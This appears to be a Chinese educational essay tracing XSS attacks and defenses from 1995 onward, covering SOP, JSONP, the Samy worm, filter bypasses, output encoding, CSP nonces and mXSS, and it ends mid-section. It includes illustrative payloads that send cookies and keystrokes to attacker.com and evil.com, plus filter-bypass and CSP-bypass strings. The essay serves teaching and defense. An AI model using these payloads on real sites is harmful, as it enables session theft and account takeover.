信任的代价:我眼中一部 XSS 攻防二十五年的演进史

XSS 攻防历史、原理与现代防御体系梳理

信任的代价:我眼中一部 XSS 攻防二十五年的演进史

“所有注入漏洞的本质,都是语义歧义——
同一段数据,在不同的解析上下文中,被赋予了截然不同的含义。
防御的本质,是在数据越过上下文边界的那一刻,消除这种歧义。”


时间线速览

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
1995 ── JavaScript 诞生(10天);浏览器成为可编程客户端
1996 ── 同源策略(SOP)随 Netscape 2.0 引入,奠定 Web 安全基石
1999 ── XSS 漏洞大量出现;Hotmail 遭遇早期攻击
2000 ── 微软工程师正式命名 "Cross-Site Scripting",缩写 XSS
2002 ── HttpOnly Cookie 属性由微软 IE6 SP1 率先引入
2003 ── 黑名单过滤兴起;攻防进入无休止的猫鼠游戏
2005 ── Samy 蠕虫 20 小时感染 100 万 MySpace 用户(10月4日)
2005 ── Amit Klein 论文正式定义 DOM-based XSS(7月)
2010 ── Content Security Policy(CSP)草案发布
2012 ── DOMPurify 发布;富文本防御进入可靠阶段
2013 ── React 发布;前端框架重塑安全默认值
2019 ── Trusted Types 进入 Chrome;从 DOM Sink 断根

序章:一个开放世界,以及它必须付出的代价(1993–1996)

1993 年,当第一个图形化浏览器 Mosaic 出现时,互联网还是静默的文档海洋。网页就是网页——文字、图片、超链接,仅此而已。Web 的设计哲学源于学术界的开放精神:信息应当自由流动,任何人都可以链接任何人的资源。

然后,1995 年,Brendan Eich 用了整整 10 天,为 Netscape 浏览器写出了 JavaScript。

浏览器从此不再是一个被动的文档阅读器,而变成了一台可编程的客户端机器。服务器可以下发一段代码,浏览器会执行它。Web 突然拥有了真正的交互能力——这是好事,也是所有麻烦的起点。

同源策略:第一道防线的诞生(1996)

Netscape 的工程师们很快意识到了危险:如果浏览器可以执行任意代码,那么一个恶意网站的脚本是否可以读取用户另一个标签页里的银行账户数据?

于是,同源策略(Same-Origin Policy,SOP) 随 Netscape 2.0 在 1996 年引入。规则非常简单:

不同"源"(Origin = 协议 + 域名 + 端口)的页面,不能读取彼此的数据。

1
2
3
4
5
// SOP 的判断逻辑
https://bank.com:443  ←→  https://bank.com:443    ✅ 同源,可以互相读取
https://bank.com:443  ←→  http://bank.com:80      ❌ 协议不同
https://bank.com:443  ←→  https://evil.com:443    ❌ 域名不同
https://bank.com:443  ←→  https://bank.com:8080   ❌ 端口不同

SOP 非常成功地解决了一个问题:来自 evil.com 的脚本,无法读取你在 bank.com 页面上的 Cookie 或账户数据。

但 SOP 有一个生来就有的、无法消除的"宽容"。

SOP 的原罪:嵌入与读取的分裂

Web 要正常运转,就必须允许跨域引用。你的网站需要引用 CDN 上的 jQuery,Google 字体,友站的图片。如果 SOP 完全禁止跨域操作,互联网就分裂成了无数个孤岛。

所以 SOP 从设计之初就把跨域操作分成了两类,并用截然不同的规则对待:

操作 典型例子 SOP 态度
嵌入(Embedding) <script src>, <img>, <iframe> 默认允许
读取(Reading) fetch(), XMLHttpRequest 默认禁止

逻辑是:"让你看“和”让你拿“是两码事。你可以把百度的 Logo 图片嵌入你的页面展示,但你的 JavaScript 不能读取这张图片的二进制内容。

这个设计在 1996 年是合理的折中。但没有人预见到,这个"宽容的嵌入"将成为几乎所有 Web 攻击的共同根源:

  • CSRF 利用 <img src> 跨域发请求
  • Clickjacking 利用 <iframe> 跨域嵌入页面
  • XSS 利用 <script src>(或注入内联脚本)跨域执行代码

所有后来的安全机制——CSP、X-Frame-Options、SameSite Cookie——本质上都是在给这个"宽容的嵌入"打补丁。

这个"宽容的嵌入"还引发了一个有趣的历史插曲。

旁白:JSONP——用嵌入冒充读取的民间发明

SOP 禁止了跨域读取,但开发者们很快就发现了一个漏洞:<script src> 属于嵌入,是被允许的。而 <script> 标签加载的 JS 文件,浏览器会直接执行。

这意味着,如果一个跨域接口返回的不是普通 JSON 数据,而是一段可执行的 JavaScript 代码,那 <script src> 就能绕开 SOP 的读取限制,间接拿到数据。

这就是 JSONP(JSON with Padding) 的诞生逻辑,大约在 2005 年前后被广泛采用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!-- a.com 想读取 b.com 的数据,SOP 禁止直接 fetch -->
<!-- 但可以这样:让 b.com 把数据"包裹"进一个函数调用 -->
<script src="https://b.com/api/user?callback=handleData"></script>

<!-- b.com 的响应不是 JSON,而是一段 JS 代码: -->
<!-- handleData({"name": "Alice", "age": 30}) -->

<!-- 浏览器执行这段 JS,handleData 函数被调用,a.com 的代码就拿到了数据 -->
<script>
  function handleData(data) {
    console.log(data.name); // "Alice"
  }
</script>

JSONP 很聪明,但它本质上是把 API 端点变成了一个"执行调用方指定函数名"的代码生成器。这个设计埋下了一颗安全隐患:调用者可以把任意 JavaScript 表达式作为"函数名"传进去

1
https://b.com/api/user?callback=alert(document.cookie)//

b.com 返回:alert(document.cookie)//({"name": "Alice"}) ——直接执行了攻击代码。

CORS 规范(2009 年)的出现,正是为了给跨域读取提供一个安全的官方解法,从而让 JSONP 这种"民间补丁"退出历史舞台。但 JSONP 端点并没有真正消失——大量老接口至今仍在运行。这个遗留问题,我们在 CSP 章节里还会再次遇到。

SOP 防不住的事:注入执行

SOP 成功防止了"跨站读取”。但回到浏览器中间人的比喻:SOP 能保证包裹来自正确的地址,却无法保证包裹里的内容没有被人动过手脚。

这就是 XSS 的根本:不绕过 SOP,而是污染 SOP 信任的源

攻击者不需要让 evil.com 的脚本去读 bank.com 的数据(SOP 会阻止)。他只需要让 bank.com 的页面里,悄悄混入了他写的脚本——然后浏览器会以为那是 bank.com 自己的合法代码,开开心心地执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
服务器返回的 HTML:
<p>搜索结果:<script>evil()</script></p>

浏览器的判断逻辑:
  这段 <script> 来自哪里?→ 来自 bank.com 的响应。
  bank.com 是可信源吗?→ 是。
  那就执行。✓

浏览器不知道、也没有能力知道:
  这段脚本是攻击者通过搜索框注入的,不是 bank.com 的开发者写的。

SOP 完全失效了——不是被绕过了,而是压根没触发,因为这段脚本"合法地"拥有了 bank.com 的来源标签。

这个认识是理解全文的钥匙:

XSS 的本质不是入侵服务器,而是操纵浏览器这个中间人,让它误以为攻击者的代码是合法的本站代码。


第一章:语义歧义——一切漏洞的共同根源(2000)

1.1 命名:漏洞有了名字

1999 年到 2000 年间,微软安全响应中心收到了越来越多关于一类奇特攻击的报告——攻击者将脚本注入到受信任的网站,借助用户对该网站的信任,在用户的浏览器里执行恶意代码。

2000 年 1 月,微软工程师与 CERT 合作,在首份公开报告中为这类漏洞正式命名:Cross-Site Scripting,缩写 XSS(因为 CSS 已被 Cascading Style Sheets 占用)。

这个名字精准地描述了攻击结构:恶意脚本(Scripting)借助受信任的站点,完成跨站(Cross-Site)的攻击。

1.2 为什么会有 XSS?语义歧义

在进入历史案例之前,我们需要先理解一个贯穿本文所有漏洞和防御的底层概念。

早期 CGI 脚本的典型写法:

1
2
3
# 1996 年,典型的动态页面
query = get_query_param("search")
print(f"<p>您搜索了:{query}</p>")

开发者的意图是:把用户输入的文本数据显示在页面上。

query 一旦被拼入 HTML 响应,浏览器就以 HTML 标记语言的语义来解析整个字符串。

如果 query = "hello",两种语义没有冲突。
如果 query = "<script>evil()</script>",冲突就出现了:

  • 开发者的语义:这是一个搜索词,应当显示出来
  • 浏览器的语义:这是一段 HTML,其中 <script> 内是可执行代码

同一段数据,被开发者和浏览器赋予了不同的含义。开发者没有在数据离开"文本上下文"、进入"HTML 上下文"的那一刻,做任何形式的转换。这个"语义跨越"的瞬间,就是漏洞。

所有注入漏洞——XSS、SQL 注入、命令注入——本质上都是同一件事:
数据在切换解析上下文时,没有经过适当的转义,导致它被当作代码执行了。

理解了这一点,才能理解为什么防御必须关注"上下文",为什么黑名单总会失败,为什么"输出编码"是正确答案而不是"输入过滤"。

1.3 最早的 Reflected XSS:镜像攻击

最早被大量记录的 XSS 形态是反射型 XSS(Reflected XSS),得名于服务器将攻击者的 payload “反射"回给受害者的方式。

攻击路径极其简洁——攻击者只需要构造一个包含 payload 的链接,发给受害者:

1
https://victim.com/search?q=<script>new Image().src='https://attacker.com?c='+document.cookie</script>

一个典型的有漏洞的搜索页(PHP):

1
2
3
4
5
6
7
<?php
$keyword = $_GET['q'];
// 开发者意图:显示搜索词(文本)
// 浏览器行为:解析整个字符串为 HTML(代码)
// 语义歧义在这里发生
echo "<p>搜索结果:$keyword</p>";
?>

受害者点击,服务器将 payload 原样嵌回 HTML,浏览器执行,Cookie 被发往攻击者服务器。全程不需要任何服务器漏洞——服务器只是忠实地做了"把输入放回输出"这件事,而浏览器这个中间人,忠实地执行了它收到的全部内容。

这里有一个值得注意的细节:攻击者用 new Image().src= 来外传数据,而不是 fetch()。原因是图片加载属于"嵌入操作”,SOP 默认允许跨域——又一次利用了 SOP 的那个"宽容的嵌入"。


第二章:蠕虫纪元——XSS 第一次露出獠牙(2005)

2.1 Samy,以及那个改变一切的周末

2005 年 10 月 4 日,洛杉矶,19 岁的 Samy Kamkar 把一段精心构造的代码放进了他的 MySpace 个人资料页面。

他的动机相当单纯——他只是想涨粉。“也许一个月能涨 100 到 200 个朋友”,他想。把代码上传之后,他去睡觉了。

第二天早上醒来,他有 200 条好友请求。

一小时后,数字翻了倍。然后是指数级增长。每隔几秒,数以千计的账号被感染。仅仅 20 小时,超过 100 万个 MySpace 账号中招,其中 1,005,831 人被迫"加了 Samy 为好友",并在自己的主页上显示了 “but most of all, samy is my hero”。

MySpace 不得不紧急关闭整个平台进行清理。美国特勤局以《爱国者法案》相关条款展开调查。Kamkar 最终被判处 3 年缓刑、720 小时社区服务和 2 万美元赔偿金。

这是历史上传播速度最快的计算机蠕虫,被记入安全史册。

2.2 为什么 Reflected XSS 做不到这件事

要理解 Samy 蠕虫的威力,先要理解它和 Reflected XSS 的本质区别。

Reflected XSS 需要攻击者把含有 payload 的链接发给每一个受害者——一对一,主动触发。规模受限于攻击者能接触到的人数,而且用户往往能从 URL 中察觉到异常。

Samy 利用的是存储型 XSS(Stored XSS):恶意脚本被存入数据库,任何访问该页面的用户都会触发,无需点击任何特殊链接。

更关键的是,Samy 的脚本实现了自我复制。这使它成为了真正的蠕虫:每一个感染者都成为新的传播源,感染规模呈指数级增长,而不是线性增长。

蠕虫的核心逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// 这是在受害者的浏览器里运行的代码——注意:在 MySpace 域下,是"自己人"

// 步骤一:获取当前用户的 CSRF token
// 这一步是关键:脚本在 myspace.com 域下运行,
// 可以直接 fetch myspace.com 的页面并读取其中的 token
// ——这是 CSRF 永远做不到的,因为 CSRF 的代码在 evil.com 域下,
//   SOP 会阻止它读取 myspace.com 响应的内容
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.myspace.com/index.cfm?fuseaction=profile.previewInterests", false);
xhr.send();
var token = xhr.responseText.match(/hash:\s*'([0-9a-zA-Z]+)'/)[1];

// 步骤二:把蠕虫代码本体复制到当前访客的主页(自我传播)
var wormCode = encodeURIComponent(SELF_CODE);
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://www.myspace.com/index.cfm?fuseaction=profile.update", true);
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send("interestLabel=heroes&submit=Preview&hash=" + token + "&heroes=" + wormCode);

// 步骤三:发送好友请求给 Samy
// ...(类似的 POST 请求)

步骤一揭示了 XSS 比 CSRF 危险得多的根本原因:脚本在受害者的域下运行,它就是"自己人",SOP 对它没有任何限制。CSRF 只能盲目地发请求,拿不到响应内容,因此无法获取 CSRF token;而 XSS 可以读取页面上的任何内容,然后用这些数据发出带着合法 token 的请求——CSRF 的所有防御,对 XSS 形同虚设。

这也正是浏览器作为"中间人"的危险所在:一旦攻击者的代码获得了浏览器的"信任执行权",它就能以用户的身份做几乎任何事情,而浏览器无从区分。

2.3 Samy 面对的工程挑战——绕过黑名单

Samy 的代码之所以精妙,不只是逻辑设计,还在于它成功绕过了 MySpace 的一系列过滤器。而这些绕过手法,恰好预演了下一个时代攻防博弈的全貌:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// MySpace 过滤了 "javascript" 和 "onreadystatechange" 这两个词
// 解决方案:把它们拆开,运行时再拼合
// 比如用 eval('xmlhttp.onread' + 'ystatechange = callback')

// MySpace 要求所有样式必须在 CSS 中,不允许 <script> 标签
// 解决方案:通过 CSS 的 expression() 注入(当时 IE 支持)
// <div style="background:url('javascript:...')">(某些浏览器执行)

// 代码里不能包含自己代码的字面量(否则递归复制会出问题)
// 解决方案:把关键片段编码存储,运行时解码重建

整个蠕虫代码里,没有出现一个 <script> 标签。Samy 绕过了 MySpace 的每一道黑名单过滤——这不是偶然,而是黑名单防御的系统性失败。


第三章:猫和老鼠——黑名单时代的必然崩塌(2003–2008)

3.1 直觉性的错误

面对 XSS,开发者的第一反应几乎都是:“把 <script> 过滤掉不就好了?”

这个直觉完全合理——在日常生活中,应对危险的方式就是识别并禁止已知的危险物。

但这个直觉忽略了一件事:我们在序章里说过,XSS 的根源是语义歧义,而不是某个特定的字符串。你无法通过穷举"危险字符串"来解决一个因"上下文切换"产生的问题,就像你不能靠封锁"剪刀"这个词来阻止所有的危险行为——刀、玻璃、牙齿,威胁的形态是无限的。

HTML 就是这样一门语言。它被设计成"容错优先"——浏览器的解析器遇到任何不规范的写法,都会尽力猜测意图并渲染,而不是报错停止。这意味着,通往"执行脚本"的路径,在 HTML 里是指数级多的,而任何黑名单都是有限的。

3.2 一场永远追不上的军备竞赛

第一代防御

1
2
def sanitize_v1(text):
    return text.replace("<script>", "").replace("</script>", "")

立刻被大小写绕过:<SCRIPT>alert(1)</SCRIPT>
或者双写(过滤一次后残余仍然有效):<scr<script>ipt>alert(1)</scr</script>ipt>

第二代防御:大小写不敏感的正则。

1
re.sub(r'<script.*?>.*?</script>', '', text, flags=re.IGNORECASE | re.DOTALL)

攻击者直接放弃 <script> 标签,转向 HTML 事件属性。HTML 里几乎每个元素都支持数十种事件属性,你没法把它们全过滤掉:

1
2
3
4
<img src="x" onerror="evil()">        <!-- 图片加载失败时触发 -->
<svg onload="evil()">                  <!-- SVG 加载时触发 -->
<input autofocus onfocus="evil()">    <!-- 页面加载时自动聚焦触发 -->
<details open ontoggle="evil()">      <!-- details 元素展开时触发 -->

第三代防御:过滤所有 on* 事件属性。

攻击者转向 href 属性里的 javascript: 伪协议:

1
<a href="javascript:evil()">click me</a>

并且,浏览器在解析 href 时会先做规范化处理,再判断协议——这意味着以下所有写法,对浏览器都等价,但很多过滤器会放行它们:

1
2
3
4
5
<a href="java&#x09;script:evil()">click</a>    <!-- 插入制表符 \t -->
<a href="java
script:evil()">click</a>                        <!-- 插入换行符 \n -->
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;evil()">click</a>
<!-- 完全 HTML 实体编码,浏览器解码后执行 -->

这里再次是语义歧义:过滤器以"文本匹配"的语义来检查字符串,而浏览器以"URL 规范化后的语义"来解析属性值。两者的语义不同,过滤器看到的是无害内容,浏览器执行的是脚本。

3.3 黑名单失败的本质

这场军备竞赛可以无限持续下去,因为双方的"武器基础"不对等:

  • 攻击者的武器是 HTML 的语义空间——标签、属性、事件、协议、编码方式的所有组合,理论上是无穷的。
  • 防御者的武器是一个有限的黑名单——无论多详尽,总会有遗漏。

正确的思路的方向,只有两个:

一是转变视角:不去问"什么是危险的",而去问"什么是允许的"。把黑名单换成白名单——这就是后来富文本防御的基础。

二是在正确的位置做防御:不是在输入时过滤字符,而是在数据进入新的解析上下文时,消除语义歧义。这就是输出编码。


第四章:消除语义歧义——输出编码的正确姿势(2005–2010)

4.1 对症下药

回到语义歧义的根源:漏洞发生在数据被放入 HTML 上下文的那一刻,浏览器把数据中的特殊字符解析为了 HTML 语法符号。

输出编码的解法非常直接:在数据越过"文本上下文"进入"HTML 上下文"的边界时,把所有可能产生语义歧义的字符,转换为它们的 HTML 表示形式

原始字符 HTML 实体 效果
< &lt; 不再是标签的开始
> &gt; 不再是标签的结束
" &quot; 不再能闭合属性值
' &#x27; 同上(单引号)
& &amp; 防止实体注入

经过编码,攻击者的 payload 变成了浏览器无法执行的文本:

1
2
3
4
<!-- 用户输入:<script>evil()</script> -->
<!-- 编码后输出:-->
&lt;script&gt;evil()&lt;/script&gt;
<!-- 浏览器将其显示为纯文本字符,不执行 -->

语义歧义被消除了:浏览器看到的是一串文字符号,而不是一个可执行的脚本标签。

4.2 上下文是关键:一套编码解决不了所有问题

这里有一个极易被忽视的陷阱,也是语义歧义的另一个体现:不同的输出位置有不同的语法规则,需要针对性的编码方式

把数据放入 HTML 元素内容、放入 HTML 属性值、放入 JavaScript 字符串、放入 URL 参数——这是四个不同的"上下文",每个上下文有自己的解析规则,因此需要不同的编码策略:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!-- 上下文一:HTML 元素内容 → 用 HTML 实体编码 -->
<div>{{ user_input | html_encode }}</div>

<!-- 上下文二:HTML 属性值 → 必须有引号包裹,且对引号编码 -->
<input value="{{ user_input | html_attr_encode }}">

<!-- 上下文三:JavaScript 字符串 → 用 JS 字符串转义,不能用 HTML 实体 -->
<script>var name = "{{ user_input | js_encode }}";</script>
<!-- 注意:JS 引擎不理解 HTML 实体,&lt; 在这里是字面的 & l t ;,不是 < -->

<!-- 上下文四:URL 参数 → 用 URL 编码 -->
<a href="/search?q={{ user_input | url_encode }}">搜索</a>

最典型的上下文错误:

1
2
3
4
5
6
7
8
<!-- ❌ 做了 HTML 编码,但忘记给属性值加引号 -->
<!-- 攻击者输入:x onmouseover=evil() -->
<input value=x onmouseover=evil()>
<!-- 没有引号,空格就成为属性分隔符,注入成功 -->

<!-- ✅ 正确:属性值必须用引号包裹 -->
<input value="x onmouseover=evil()">
<!-- 有了引号,整个字符串都是 value 的值,安全 -->

4.3 框架内建防御:“默认安全,显式危险”

手动在每个输出点做正确的上下文感知编码,既繁琐又容易遗漏。主流 Web 框架在这个阶段接过了这份责任,把正确的行为变成默认行为

1
2
3
4
5
<!-- Rails ERB:自动 HTML 转义 ✅ -->
<%= user.bio %>

<!-- 明确声明关闭转义 ⚠️ ——警示词"html_safe"是对开发者的提醒 -->
<%= user.bio.html_safe %>
1
2
3
4
5
<!-- Django:自动转义 ✅ -->
{{ user.bio }}

<!-- 显式关闭 ⚠️ -->
{{ user.bio | safe }}

这个设计哲学被称为 “默认安全,显式危险”:危险的操作不是被禁止的,但需要开发者写出一个带有明显警示词(html_safesafedangerouslySetInnerHTML)的特殊 API 才能触发。这强迫开发者在危险操作面前停下来,问一句自己:“我为什么要这样做?我确定这里的内容是安全的吗?”

4.4 HttpOnly Cookie:切断最直接的战果路径(2002)

2002 年,微软在 IE6 SP1 中引入了 HttpOnly Cookie 属性。原理极其简单:带有这个标志的 Cookie,JavaScript 代码无法通过 document.cookie 读取。

1
Set-Cookie: session_id=abc123; HttpOnly; Secure
1
document.cookie  // 返回值中不包含 session_id

HttpOnly 不阻止 XSS 攻击本身,但它切断了 XSS 最直接的战果路径——窃取 session Cookie 来直接劫持用户登录状态。

然而,攻击者的字典里从不缺备用方案:

方案一:直接用已登录状态操作。Cookie 拿不到,但浏览器发起请求时会自动携带它。攻击脚本可以直接在受害者的浏览器里发起"修改密码"、“转账"等请求——Cookie 由浏览器这个忠实的中间人自动带上,攻击者完全不需要"看到"Cookie 的值。

方案二:键盘记录。在页面里注入键盘监听脚本,session Cookie 被保护了,但用户正在输入的新密码、信用卡号,依然暴露:

1
2
3
4
5
6
7
8
// XSS 注入的键盘记录(示意)
document.addEventListener('keydown', function(e) {
  keyBuffer += e.key;
  if (keyBuffer.length > 20) {
    new Image().src = 'https://attacker.com/k?d=' + encodeURIComponent(keyBuffer);
    keyBuffer = '';
  }
});

方案三:利用浏览器密码自动填充。注入一个不可见的 <input type="password">,等待浏览器密码管理器自动填充,再读取值。(现代浏览器已有针对此模式的防护,但这展示了攻击者的思路:保护一条路,他们就走另一条。)

所以,HttpOnly 是有价值的纵深防御层,而不是解决方案本身。它的意义是:在其他防线失守之后,限制攻击者能获得的最大战果。


第五章:DOM 的暗流——服务器看不见的战场(2005 年 7 月)

5.1 一篇让服务器失明的论文

2005 年 7 月,安全研究员 Amit Klein 向 Web Application Security Consortium 提交了一篇题为《DOM Based Cross Site Scripting or XSS of the Third Kind》的论文。他发现了一类特殊的 XSS:

攻击数据从来不经过服务器

URL 的 #(fragment)之后的内容,是浏览器自己的事情,不会发送给服务器。但前端 JavaScript 代码可以直接读取它,然后写入 DOM。整个攻击在浏览器内部完成,服务器的日志干干净净,服务器端的任何输出编码对它完全无效。

Klein 将其命名为 DOM-based XSS,第三类 XSS。

5.2 一个必要的认知转折:浏览器是独立的第三方

理解 DOM XSS,先要纠正一个根深蒂固的直觉。

大多数人脑子里只有两个角色:(用户),以及那个网站(服务器)。浏览器不过是中间那根透明的管道,忠实地传递内容,不会自作主张。

但这个模型在 DOM XSS 面前彻底失效了,因为它描述的不是现实。

现实是:

1
2
3
[用户] ←→ [浏览器] ←→ [服务器]
     这是一个独立的、有自己执行逻辑的第三方

浏览器在执行谁的代码,它在那一刻就听谁的。 当你访问 bank.com,浏览器下载并运行 bank.com 的 JavaScript,这段代码可以读取页面上的一切,可以发起请求,可以改写 DOM。浏览器此刻是服务器的代理人,不是你的。

通常这没有问题。但 DOM XSS 揭示了更深一层的陷阱:不只是服务器可以驱动浏览器,浏览器里运行的前端代码本身,也可以从 URL、referrer 等地方读取攻击者放置的数据,然后自己完成整个攻击——服务器全程不知情。

想象浏览器是一个快递员,他验证了包裹来自 bank.com 的合法地址,然后拆开执行了里面的指令。但指令写的是:“请从你的快递单(URL hash)上读取备注,然后按备注内容行事”——而那个备注,是攻击者在路上偷偷写上去的。服务器发出包裹时,那个备注还不存在。

这就是 DOM XSS 的本质:浏览器被自己的前端代码"指挥”,读取了攻击者控制的数据,并把它当作代码执行了。服务器是这场攻击的局外人。

5.3 浏览器自导自演

一个经典的有漏洞的前端代码:

1
2
3
4
5
6
// 页面逻辑:根据 URL hash 显示欢迎语言
window.onload = function() {
  var lang = window.location.hash.substring(1); // 取 # 后内容
  // 数据从"URL 上下文"进入了"HTML 上下文",没有任何转义
  document.getElementById('welcome').innerHTML = 'Welcome: ' + decodeURIComponent(lang);
};

攻击者的链接:

1
https://victim.com/#<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>

服务器收到的请求:GET / —— 干干净净,没有任何异常。服务器返回完全正常的 HTML 页面。但是,浏览器(这个中间人)收到响应后,自己的 JavaScript 代码读取了 URL hash,把攻击者的 payload 写进了 innerHTML——浏览器自导自演,完成了整个攻击,服务器是一个彻底的旁观者。

5.4 源(Source)与汇(Sink):追踪数据流

理解 DOM XSS 的框架是追踪不可信数据从哪里来(Source)、流向哪里(Sink):

危险的来源(Sources)——攻击者可以控制的输入:

1
2
3
4
window.location.hash        // URL fragment,不发往服务器
window.location.search      // URL 查询参数
document.referrer           // 来源页面 URL
window.name                 // 可跨页面甚至跨域传递

危险的汇点(Sinks)——将字符串解析并执行的 API:

1
2
3
4
5
element.innerHTML = input;   // ❌ 高危:将字符串解析为 HTML
eval(input);                  // ❌ 高危:将字符串作为代码执行
element.setAttribute('href', input);  // ❌ 中危:可能触发 javascript: 协议

element.textContent = input;  // ✅ 安全:仅设置文本,不解析 HTML

防御规则非常简单,却经常被遗忘:

1
2
3
4
5
6
7
8
// ❌ DOM XSS 漏洞
document.getElementById('msg').innerHTML = location.hash.slice(1);

// ✅ 如果只需显示文本
document.getElementById('msg').textContent = location.hash.slice(1);

// ✅ 如果确实需要插入 HTML(比如富文本),必须先净化
document.getElementById('msg').innerHTML = DOMPurify.sanitize(location.hash.slice(1));

第六章:策略即防御——CSP 的诞生与演进(2010–2016)

6.1 从"净化"到"限制执行权"

到 2009 年,安全工程师们面对一个令人疲惫的现实:输出编码需要开发者在每一个输出点都做正确的事情。DOM XSS 更让服务器端的防御完全失效。只要有一处遗漏,攻击者就能突破。

Mozilla 的安全工程师们提出了一个全新的思路,把防御的视角从"数据"转向了"权限":

既然我们无法保证每一段代码都是干净的,那就告诉浏览器:只有来自白名单来源的脚本,才有执行的资格。

这是 Content Security Policy(内容安全策略,CSP) 的核心思想——它不阻止脚本被注入,而是阻止脚本被执行。

把之前的防御比作在门口搜查每一位进来的客人(输出编码),那 CSP 则是在场馆内部安装了监控系统:进来的人无论是谁,只要做出了不在白名单里的行为(执行未经授权的脚本),立刻被踢出去。

6.2 白名单运行机制

CSP 通过 HTTP 响应头告知浏览器执行规则:

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

浏览器收到这条指令后,就成了一个执行 CSP 规则的"安保人员"。当攻击者注入的脚本出现时:

1
<script>fetch('https://evil.com?c='+document.cookie)</script>

浏览器的判断过程:

1
2
3
这段内联脚本的来源是:inline(内联,没有明确来源)
CSP 的 script-src 允许:'self', https://trusted-cdn.com
内联脚本不在白名单 → 拒绝执行,报告违规

但这里立刻出现了一个现实问题:大量网站的正常代码本身就是内联脚本。如果 CSP 拒绝所有内联脚本,网站就残了。这就是 CSP 早期采用率极低的原因——它要么被设置得很宽松(允许 'unsafe-inline',等于白设置),要么破坏正常网站功能。

6.3 Nonce:给合法脚本发"通行证"

CSP Level 2(2015)引入的 nonce(一次性令牌)机制解决了这个问题。

这个机制的类比非常直观:想象一场演唱会。CSP 1.0 的规则是"只有本场馆的员工才能进后台"——但问题是,演出临时请了外援乐手,他们不是员工却需要进后台。nonce 的解法是:每场演唱会开始前,给所有被邀请的人发一个今晚专用的随机腕带。后台门口只认腕带,不问身份

1
2
3
4
5
6
7
8
9
# 服务器每次请求生成一个随机、不可预测的 nonce
import secrets
nonce = secrets.token_hex(16)  # 例如:a8f3c2b1d4e5f6a7b8c9d0e1f2a3b4c5

# 放入 CSP 头(腕带规格公告)
response.headers['Content-Security-Policy'] = f"script-src 'nonce-{nonce}'"

# 同时把 nonce 值注入合法的脚本标签(发腕带)
html = f'<script nonce="{nonce}">initializeApp();</script>'
1
2
3
4
5
<!-- 有腕带的合法脚本:✅ 浏览器放行 -->
<script nonce="a8f3c2b1d4e5f6a7b8c9d0e1f2a3b4c5">initializeApp()</script>

<!-- 攻击者注入的脚本,没有腕带:❌ 浏览器拒绝 -->
<script>evil()</script>

安全性的关键在于:每次请求的 nonce 值必须是随机且不可预测的。攻击者即使能注入 <script> 标签,也无法猜到当前这次请求的腕带编号,因此无法伪造一个有效的通行证。

6.4 strict-dynamic:信任的传递

nonce 机制还有一个实际问题:现代前端代码大量使用动态创建脚本(createElement('script'))做懒加载和代码分割。这些动态脚本无法预先注入 nonce,会被 CSP 拦截。

CSP Level 3 的 'strict-dynamic' 指令解决了这个问题:如果一段脚本本身拥有合法的 nonce,那么它动态创建的子脚本,也自动获得执行权,无需再经白名单审查

1
Content-Security-Policy: script-src 'nonce-{RANDOM}' 'strict-dynamic'

这就像腕带制度升级为:拿到腕带的人,可以带自己的助手进来,助手不需要单独审核。

6.5 CSP 也不是无懈可击

CSP 是强大的,但不是银弹。它有一类经典的绕过场景:白名单域名本身存在可被利用的端点

想象 CSP 白名单里有 https://trusted-api.com,而 trusted-api.com 上恰好还留着一个 JSONP 端点:

1
https://trusted-api.com/data?callback=任意代码

攻击者注入:

1
<script src="https://trusted-api.com/data?callback=fetch('evil.com?c='+document.cookie)//"></script>

浏览器看到脚本来源是 trusted-api.com,在白名单内,于是放行执行——而实际执行的是攻击者指定的 callback 内容。

这说明了一个重要原则:CSP 的安全上限,等于它的白名单里安全性最差的那个域名。域名白名单模式(尤其是包含了 CDN、分析脚本等域名时)很难做到真正安全,这也是为什么基于 nonce 的策略要优于基于域名的策略。


第七章:富文本的噩梦——当防御遇上业务需求(2012–2018)

7.1 一个让所有防御方案"失灵"的场景

输出编码、CSP、HttpOnly——在大多数场景下,这套组合已经相当可靠。但有一类业务场景让它们全部"失灵":富文本编辑器

博客编辑、邮件撰写、论坛发帖——用户有合法的需求来提交包含真实 HTML 标签的内容。<b> 加粗,<a> 链接,<img> 插图,这些是真正需要保留的功能。

如果对所有内容都做 HTML 实体编码,<b>加粗</b> 就会变成 &lt;b&gt;加粗&lt;/b&gt; 被当作文本显示出来,富文本功能完全失效。必须允许一部分 HTML 通过——于是问题回到了起点:如何判断哪些 HTML 是"安全的"?

7.2 为什么正则做不到这件事

第三章里我们已经看到,用正则黑名单过滤"危险字符串"是不可靠的。在富文本场景里,正则还会遭遇一个更深层的困境:Mutation XSS(mXSS)

mXSS 的核心机制是:某些 HTML 片段在经历"解析 → 序列化 → 再解析"的循环后,语义会悄悄发生变化,产生原本不存在的危险代码。

这是一个真实出现过的 mXSS 模式:

1
2
<!-- 攻击者提交的内容(过滤器认为无害)-->
<noembed><img src="</noembed><img src=x onerror=alert(1)>">

问题在于:服务器端的 HTML 解析器浏览器的 HTML 解析器<noembed> 的处理逻辑不同。服务器认为 onerror=imgsrc 属性值的一部分(文本),因此是安全的;而浏览器则可能以另一种方式解析 </noembed> 的边界,让 img onerror 成功逃逸出来。

这是语义歧义的终极形态:两个 HTML 解析器之间的语义歧义。字符串层面的过滤器对此毫无感知,因为它压根不真正"理解" HTML 的树形结构。

7.3 DOMPurify:用解析器来对抗解析器

2014 年,cure53 安全团队发布了 DOMPurify,它的核心洞见是:既然问题出在 HTML 解析的语义上,就用真正的 HTML 解析器来解决它

正则过滤器就像一个不认字的门卫,只会在访客名单上按姓名逐字比对——只要改一个字,就能蒙混过关。而 DOMPurify 雇用了一个真正懂得阅读和理解访客身份的门卫:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
用户提交的 HTML 字符串
